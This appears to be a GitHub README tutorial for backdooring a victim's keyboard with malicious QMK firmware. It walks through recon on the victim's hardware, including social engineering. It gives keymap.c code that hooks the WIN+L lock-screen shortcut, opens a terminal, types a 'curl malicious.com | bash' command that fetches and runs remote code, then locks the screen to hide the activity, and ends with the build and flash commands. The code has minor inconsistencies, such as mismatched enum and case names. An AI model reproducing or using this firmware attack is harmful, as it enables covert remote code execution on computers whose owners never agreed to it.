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QMKhuehuebr

This repo will teach you how to create a "backdoor" on a keyboard using qmk firmware.

What's QMK?

It's a open source keyboard firmware, read the documentation for more info.

How does this "Backdoor" works?

It hooks a set of keystrokes used for screen locking using the qmk combo feature, so when the user locks the computer his keyboard will start acting like a rubberducky or "possessed" keyboard injecting keystrokes in the target machine.

Steps to get a Shell

Keyboard Recon

The most important step is to recognize which PCB your victim's keyboard uses. This can be done in several ways:

• Social Engineering
• Opening the keyboard case
• Being a keyboard guru

Get QMK Firmware Project

git clone https://github.com/qmk/qmk_firmware.git
cd qmk_firmware
util/(linux|macos)_install.sh

Enabling and Configuring Combos feature

Now that you know your victim's keyboard PCB, go to qmk_firmware/keyboards/<PCB_MODEL>/ and then add the line COMBO_ENABLE = yes at the last line of file rules.mk, to enable the usage of combos. Also modify the following lines at the last line of file config.h:

#define COMBO_COUNT 1
#define COMBO_TERM 300

The COMBO_COUNT variable is the number of combos/hooks you'll configure, and the COMBO_TERM is the time in milliseconds for the firmware to detect the key combination/combo.

Creating the Combos/Hooks

Copy the default keymap to a new keymap named keylogger,

cd qmk_firmware/keyboards/<PCB_MODEL>/keymaps
mkdir keylogger
cp -R default/* keylogger
cd keylogger/

Edit the keymap.c file to insert your malicious code after the #include "action_layer.h" line, the first thing you need to do is create an enum with your hook name:

enum combo_events {
  LOCK_SCREEN
}

Then you need to set the key combinations you want to hook, in this example let's hook the WIN+L lock screen bind:

const uint16_t PROGMEM lock_screen_combo[] = {KC_LGUI, KC_L, COMBO_END};

If you want to hook other keys just look at this qmk documentation page where you can find a list with all keycodes.

Giving actions to Combos/Hooks

Now the last part of coding is to add an action when the firmware detects the combo/hook, in order to do this, let's keep editing the keymap.c and declare the function bellow which is responsible for the detection and injection:

void process_combo_event(uint8_t combo_index, bool pressed) {
	switch(combo_index) {
		case LOCK_SCREEN_X:
			if (pressed) {
				// SEND THE COMBINATION KEYS TO OPEN TERMINAL WIN+ENTER
				register_code(KC_LGUI);
				register_code(KC_ENTER);
				// RELEASE THE KEYS TO OPEN THE TERMINAL
				unregister_code(KC_ENTER);
				unregister_code(KC_LGUI);
				//WAIT 500 MILLISECONDS FOR THE TERMINAL OPEN
				_delay_ms(500);

				//SEND COMMAND USING THE MACRO SEND_STRING WHICH SENDS KEYCODE BY KEYCODE WITHOUT DELAY
				SEND_STRING("curl malicious.com \\| bash ; exit" SS_TAP(X_ENTER));

				//SEND THE ORIGINAL KEYCODES RESPONSIBLE TO LOCK THE COMPUTER
				register_code(KC_LGUI);
				register_code(KC_L);
				// RELEASE THE KEYS RESPONSIBLE TO LOCK THE COMPUTER
				unregister_code(KC_L);
				unregister_code(KC_LGUI);
			}
	}
break;
}

Compile the code

Go back to the qmk project root directory and run:

make <KEYBOARD_PCB>:keylogger

If there was no errors, you did everything right and is ready to move on.

Boot Mode

In order to put the keyboard on boot mode, follow the QMK instruction

Write the malicious firmware

Just run the command:

sudo make <KEYBOARD_PCB>:keylogger:dfu

Now after all these steps you have successfully infected your victim's keyboard.

Learn more about QMK

RTFM

Example

You can find a more complex example of keymap.c on this repository.

IMPORTANT - This file is based on xd60 PCB.

Poc

PoC usign a xd60 PCB